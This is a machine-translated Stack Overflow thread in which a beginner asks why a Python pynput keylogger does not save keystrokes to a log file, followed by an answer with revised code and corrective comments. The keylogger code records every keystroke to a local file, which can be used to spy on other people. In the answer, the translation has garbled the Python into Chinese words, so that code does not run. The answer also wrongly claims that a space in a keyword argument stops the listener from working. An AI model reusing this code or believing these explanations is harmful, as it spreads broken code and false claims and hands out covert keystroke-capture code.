键盘记录器赢得´;t保存到文本文件,用python制作

键盘记录器赢得´;t保存到文本文件,用python制作,python,keylogger,Python,Keylogger,所以我试着制作一个键盘记录器,但它不会保存到文本文件中 第一次制作键盘记录器时,我已经看了一些教程,但我不明白为什么它不起作用 这是我的完整代码 import pynput from pynput.keyboard import Key, Listener count = 0 keys = [] def on_press(key): global keys, count keys.append(key) count += 1 print("{0} pressed"

所以我试着制作一个键盘记录器,但它不会保存到文本文件中

第一次制作键盘记录器时,我已经看了一些教程,但我不明白为什么它不起作用

这是我的完整代码

import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
   global keys, count

   keys.append(key)
   count += 1
   print("{0} pressed", format(key))

   if count >= 999999999999999999999999999999999999999999:
       count = 0
       write_file(keys)
       keys = []


def write_file():
    with open("log.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'","")
            if k.find("space") > 0:
                f.write('\n')
            elif k.find("Key") == -1:
                f.write(k)


def on_release(key):
    if key == Key.esc:
        return False


with Listener(on_press=on_press, on_release =on_release) as listener:
    listener.join()

pycharm中没有显示错误…

正如John Gordon在评论中指出的那样,您的键盘记录程序在收集到超过99999999999999999999999999999999999个键之前不会保存。以每秒三个键的速度,不间断地输入,大约需要一年,一千万年的时间,并且将创建一个大小几乎正好为1GB、10000万亿GB的文件。然而,根据打字速度测试,人们平均打字——为什么不在50个字符后每隔15秒左右保存一次呢?你可以把这个换成你喜欢的任何东西

我还注意到您的程序没有正确终止-您在
上释放=上释放时调用侦听器时在
中留下了一个多余的空间,这阻止了键盘记录程序捕获
esc
键(从而也防止了键盘记录程序被杀死,除非使用
ctrl-z

这段修改后的代码在我的机器上运行良好,并捕获了我的所有输入。鬼

导入pynput
从pynput.keyboard导入键,侦听器
计数=0
键=[]
def on_按(键):
全局键,计数
key.append(key)
计数+=1
打印({0}按下),格式(键))
#把这个改成你想做的任何事情,知道每个人在
#每分钟190-200个字符。按照该逻辑,此记录器将保存每个
#在正常打字过程中大约15秒。
如果计数>=50:
计数=0
写入文件()
键=[]
def write_文件():
以open(“log.txt”、“a”)作为f:
对于键入键:
k=str(键)。替换(“,”)
如果k.find(“空格”)>0:
f、 写入('\n')
elif k.find(“键”)==-1:
f、 写入(k)
def on_释放(钥匙):
如果key==key.esc:
返回错误
#请注意,如果您留下一个空格,如“on_release=on_release”,则侦听器不会
#了解您的on_释放功能,并将忽略它
使用监听器(on_press=on_press,on_release=on_release)作为监听器:
listener.join()

祝你好运

只在按下99999999999999999999999999999999999999999999999999999999999999键时写入文件,这是一个非常大的数字。1 GB?你差了一点。99999999999999999999999999999999999999999999999999999999字节的数量足够大,因此没有任何定义良好的术语。它的存储量大约是地球上现有存储量的10^21倍。@Daskwuf谷歌欺骗了我!现在更新答案。谢谢您的收听。您还需要更正时间~10^42秒比宇宙的预期寿命要长。@Daskwuff真的不知道为什么谷歌的搜索结果如此糟糕,但你又是对的,回到我的编辑板上。@koki这是一个相当模糊的问题!具体来说,什么对你不起作用?